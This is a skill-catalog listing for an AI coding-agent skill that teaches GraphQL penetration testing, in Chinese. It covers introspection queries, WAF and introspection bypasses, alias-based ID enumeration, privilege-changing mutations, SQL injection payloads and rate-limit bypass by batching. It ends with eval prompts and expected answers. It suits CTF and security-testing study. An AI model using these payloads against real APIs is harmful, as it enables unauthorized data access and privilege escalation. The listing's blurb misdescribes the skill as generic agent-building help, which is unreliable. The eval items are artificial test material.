Graphql Methodology

Name: Graphql Methodology
Author: wgpsec

wgpsec/aboutsecurity

15 installs
1.6k repo stars
Updated July 19, 2026
wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

graphql-methodology is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

graphql-methodology
AI & Agent Building
AI-coding skill

Graphql Methodology by the numbers

15 all-time installs (skills.sh)
Ranked #11,187 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
Data as of Aug 5, 2026 (Skillselion catalog sync)

npx skills add https://github.com/wgpsec/aboutsecurity --skill graphql-methodology

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

[![Listed on Skillselion](https://skillselion.com/badge/skills/wgpsec/aboutsecurity/graphql-methodology.svg)](https://skillselion.com/skills/wgpsec/aboutsecurity/graphql-methodology)

Installs	15
repo stars	★ 1.6k
Last updated	July 19, 2026
Repository	wgpsec/aboutsecurity ↗

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

GraphQL 攻击方法论

相关 skill：IDOR（GraphQL ID 遍历） → idor-methodology；API 模糊测试 → api-fuzz；信息泄露（Introspection 泄露） → information-disclosure-methodology

Phase 1: 发现GraphQL端点

常见路径: /graphql, /api/graphql, /graphiql, /v1/graphql, /query 检测: POST {"query":"{ __typename }"} → 返回 {"data":{"__typename":"Query"}} 即确认

Phase 2: Introspection 查询（最重要）

获取完整Schema:

{"query":"{ __schema { types { name fields { name type { name } } } } }"}

精简版（只看Query和Mutation）:

{"query":"{ __schema { queryType { fields { name args { name type { name } } } } mutationType { fields { name args { name type { name } } } } } }"}

Introspection结果包含所有类型定义和字段 — 这是最重要的信息源

2.1 Introspection 被禁用时的绕过

方法 1: Field Suggestion（字段建议） GraphQL 引擎对拼写错误会建议正确字段名：

{"query":"{ __typena }"}
→ "Did you mean '__typename'?"

利用这个特性枚举字段：发送错误的字段名，从建议中获取真实字段名。

方法 2: GET 请求绕过 有些 WAF 只拦截 POST 的 Introspection，用 GET 绕过：

GET /graphql?query={__schema{types{name,fields{name}}}}

方法 3: 别名/Fragment 绕过

{"query":"{ a: __schema { types { name } } }"}
{"query":"fragment f on __Schema { types { name } } { __schema { ...f } }"}

方法 4: 大小写/空白绕过

{"query":"{ __SCHEMA { types { name } } }"}
{"query":"\n{ __schema\n{ types\n{ name } } }"}

方法 5: 逐字段猜测 如果以上都不行，根据常见命名猜测：

{"query":"{ user { id } }"}
{"query":"{ users { id } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ getUser(id:1) { id } }"}

Phase 3: 数据枚举

根据Schema逐个查询:

{"query":"{ users { id username email role } }"}
{"query":"{ user(id: 1) { id username email role flag } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ posts { id title content author } }"}

注意隐藏字段（Schema中有但页面未展示的字段）

Phase 4: 权限绕过

1. 直接查询管理字段:

   {"query":"mutation { updateUser(id: 1, role: \"admin\") { id role } }"}

2. 嵌套查询（Batch攻击）:

   {"query":"{ user(id:1){flag} user2:user(id:2){flag} }"}

3. 别名遍历ID:

   {"query":"{ u1:user(id:1){id,name,flag} u2:user(id:2){id,name,flag} u3:user(id:3){id,name,flag} }"}

Phase 5: 注入

GraphQL参数中的SQL注入:

{"query":"{ user(name: \"admin' OR '1'='1\") { id flag } }"}
{"query":"{ search(keyword: \"' UNION SELECT flag FROM flags--\") { results } }"}

Phase 6: 高级技巧

工具辅助：Clairvoyance、graphql-cop 等自动化工具帮助发现隐藏字段
批量查询（Batching）：单个查询中一次请求多个结果 {a:user(id:1){name} b:user(id:2){name}}
WAF 绕过：URL 编码（%7B）编码绕过；换行/空格变体

---

CTF GraphQL 技巧补充

别名批量操作绕过速率限制

单个请求中用别名重复同一 mutation（如投票/认证）绕过频率限制：

mutation {
  a1: vote(id: "target") { ok }
  a2: vote(id: "target") { ok }
  # 重复 N 次...
}

也可用数组批量: POST body: [{"query":"mutation{...}"}, {"query":"mutation{...}"}, ...]

字符串插值注入

当服务端拼接 GraphQL 查询字符串时，类似 SQLi 的注入：

// 输入: ") { result } } mutation { adminAction(secret: true) { flag } } #
// 闭合原查询并注入新 mutation

{
  "skill_name": "graphql-methodology",
  "evals": [
    {
      "id": 1,
      "name": "graphql-introspection-disabled-field-suggestion",
      "prompt": "目标 /graphql 端点禁用了 introspection（__schema 查询返回错误）。你发送 {user} 得到错误 'Cannot query field user on type Query. Did you mean users?'。请描述如何利用这个特性枚举完整 schema。",
      "expected_output": "利用 GraphQL 引擎的 Field Suggestion 功能逐步枚举字段名",
      "expectations": [
        "Did you mean|field suggestion|字段建议|错误提示",
        "拼写错误|枚举|逐个猜测字段名",
        "__typename|基本类型探测|类型名称",
        "Clairvoyance|graphql-cop|自动化工具",
        "GET请求|绕过WAF|/graphql?query="
      ],
      "required_terms": [
        "__typename",
        "/graphql?query=",
        "GET请求"
      ]
    },
    {
      "id": 2,
      "name": "graphql-alias-batch-enumeration",
      "prompt": "目标 GraphQL 有 user(id: Int) 查询。你想遍历所有用户ID但不想发送100个请求。请用一个 GraphQL 查询获取 ID 1-5 的所有用户数据。",
      "expected_output": "使用 GraphQL alias 在单个查询中批量请求多个 ID",
      "expectations": [
        "alias|别名|a:user(id:1)|b:user(id:2)",
        "单个查询|一次请求|批量",
        "{a:user(id:1){name} b:user(id:2){name}}|具体语法",
        "枚举|遍历|所有用户",
        "绕过|限速|rate limit|单请求多结果"
      ],
      "required_terms": [
        "a:user(id:1)",
        "b:user(id:2)",
        "{a:user(id:1){name} b:user(id:2){name}}"
      ]
    },
    {
      "id": 3,
      "name": "graphql-get-request-waf-bypass",
      "prompt": "POST /graphql 发送 introspection 查询被 WAF 拦截。WAF 只检查 POST 请求体中的 __schema 关键词。请描述绕过方法。",
      "expected_output": "使用 GET 请求 + query parameter 绕过只检查 POST body 的 WAF",
      "expectations": [
        "GET请求|GET /graphql?query=|query参数",
        "WAF只拦POST|方法切换|绕过",
        "Fragment|alias|变形查询|混淆",
        "换行|空白字符|\\n|大小写|__SCHEMA",
        "URL编码|%7B|编码绕过"
      ],
      "required_terms": [
        "GET /graphql?query=",
        "__SCHEMA",
        "GET请求"
      ]
    }
  ]
}

{
  "skill_id": "graphql-methodology",
  "recall_tests": [
    {
      "id": 1,
      "type": "keyword_positive",
      "description": "核心关键词",
      "keywords": [
        "graphql",
        "introspection",
        "graphql injection"
      ]
    },
    {
      "id": 2,
      "type": "keyword_positive",
      "description": "场景搜索",
      "keywords": [
        "api",
        "authorization"
      ]
    },
    {
      "id": 3,
      "type": "keyword_negative",
      "description": "不应被REST API召回",
      "keywords": [
        "swagger",
        "openapi"
      ]
    }
  ],
  "llm_tests": [
    {
      "id": 1,
      "name": "graphql-scenario",
      "scenario": "目标有 /graphql 端点，schema introspection 已开启。请搜索 GraphQL 攻击方法论。",
      "max_rounds": 2,
      "expect_tool_calls": [
        {
          "tool": "list_skills",
          "keyword_contains": "graphql|introspection|schema"
        },
        {
          "tool": "read_skill",
          "id": "graphql-methodology"
        }
      ]
    }
  ]
}